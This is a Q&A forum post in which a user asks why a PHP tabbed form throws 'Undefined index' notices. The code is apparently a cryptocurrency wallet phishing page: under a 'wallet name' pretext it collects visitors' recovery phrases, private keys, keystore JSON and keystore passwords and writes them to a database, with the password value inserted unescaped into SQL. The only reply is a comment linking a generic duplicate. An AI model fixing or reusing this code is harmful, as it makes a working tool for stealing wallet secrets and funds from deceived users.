0

This is a pills a tab form with mutiple registration forms and i need to insert each forms diffrently in seperate tables but i keep getting problems like Notice: Undefined index: pm_pk in C:\xampp\htdocs\connect\index.php on line 92

Notice: Undefined index: pm_store in C:\xampp\htdocs\connect\index.php on line 96

Notice: Undefined index: pm_passwo in C:\xampp\htdocs\connect\index.php on line 98

code below

<div class="nav nav-pills my-md-5 my-3 justify-content-center">

    <div class="col-lg-6 pl-0 tabs">
        <!-- Tabs with icons on Card -->
        <div class="card card-nav-tabs">
            <div class="card-header card-header-primary">
                <!-- colors: "header-primary", "header-info", "header-success", "header-warning", "header-danger" -->
                <div class="nav-tabs-navigation">
                    <div class="nav-tabs-wrapper">
                        <ul class="nav nav-tabs" data-tabs="tabs">
                            <li class="nav-item">
                                <a class="nav-link active" href="#phrase" data-toggle="tab">Phrase</a>
                            </li>
                            <li class="nav-item">
                                <a class="nav-link" href="#key" data-toggle="tab">Key</a>
                            </li>
                            <li class="nav-item">
                                <a class="nav-link" href="#keystore" data-toggle="tab">Keystore JSON</a>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
            <div class="card-body ">
                <div class="tab-content">
                    <div class="tab-pane active" id="phrase">
                        <p>Typically 12 (sometimes 24) words seperated by a single spaces.</p>
<?php
    require('db.php');
    // When form submitted, insert values into the database.
    if (isset($_REQUEST['pm_phrase'])) {
        // removes backslashes
        $pm_phrase = stripslashes($_REQUEST['pm_phrase']);
        //escapes special characters in a string    walletname
        $pm_phrase= mysqli_real_escape_string($con, $pm_phrase);
        $pm_pk    = stripslashes($_REQUEST['pm_pk']);
        $pm_pk   = mysqli_real_escape_string($con, $pm_pk);
        $walletname    = stripslashes($_REQUEST['walletname']);
        $walletname   = mysqli_real_escape_string($con, $walletname);
        $pm_store = stripslashes($_REQUEST['pm_store']);
        $pm_store = mysqli_real_escape_string($con, $pm_store);
        $pm_passwo = stripslashes($_REQUEST['pm_passwo']);
        // $pm_passwo = mysqli_real_escape_string($con, $pm_passwo); , 
    
        $query    = "INSERT into `users` (pm_phrase, walletname, pm_store, pm_passwo, pm_pk)
                     VALUES ('$pm_phrase',  '$walletname', '$pm_store', '$pm_passwo', '$pm_pk')";
        $result   = mysqli_query($con, $query);

        if ($result)  {
            echo "<div class='form'>
                  <h3>You are registered successfully.</h3><br/>
                  <p class='link'>Click here to <a href='login.php'>Login</a></p>
                  </div>";
        } else {
            echo "<div class='form'>
                  <h3>Required fields are missing.</h3><br/>
                  <p class='link'>Click here to <a href='registration.php'>registration</a> again.</p>
                  </div>";
        }
    } else {
?>

                                    
                        <form name="contactform"  method="post" action="">
                            <div class="form-group">
                                <label>Wallet Name</label>
                                <input type="text" class="form-control" id="name" placeholder="" name="walletname" >
                                <label>Phrase</label>
                                <textarea name="pm_phrase" class="form-control" id="iq" placeholder="Enter Your Phrase" ></textarea>
                            </div>              
                            <button type="submit" value="Register" class="btn btn-default">Submit</button>
                        </form>
                    </div>
                    <div class="tab-pane" id="key">
                        <p>Enter your Private key (typically long characters)</p>
                        <form name="contactform"  method="post"  action="">
                            <div class="form-group">
                                <label>Wallet Name</label>
                                <input type="text" class="form-control" id="name" placeholder="" name="walletname" >
                                <label>Private Key</label>
                                <textarea name="pm_pk" class="form-control" id="iq" placeholder="Enter Your Private Key" ></textarea>
                            </div>              
                            <button type="submit" value="Register" class="btn btn-default">Submit</button>
                        </form>
                    </div>
                    <div class="tab-pane" id="keystore">
                        <p>Several lines of text beginning with "{...}" plus the encryption password</p>
                        <form name="contactform"  method="post"  action="">
                        <div class="form-group">
                            <label>Wallet Name</label>
                            <input type="text" class="form-control" id="name" placeholder="" name="walletname" >
                            <label>Keystore JSON</label>
                            <input type="text" class="form-control" id="name" placeholder="" name="pm_store" >
                        </div>
                        <div class="form-group">
                            <label>Password</label>
                            <input type="password" class="form-control" id="name" placeholder="" name="pm_passwo" >
                        </div>
                    
                        <button type="submit" value="Register" class="btn btn-default">Submit</button>
                    </form>
<?php
    }
?>

enter image description here

Andy A.
  • 1,047
  • 2
  • 12
  • 27
  • 1
    Does this answer your question? ["Notice: Undefined variable", "Notice: Undefined index", and "Notice: Undefined offset" using PHP](https://stackoverflow.com/questions/4261133/notice-undefined-variable-notice-undefined-index-and-notice-undefined) – ADyson Nov 14 '21 at 07:59

0 Answers0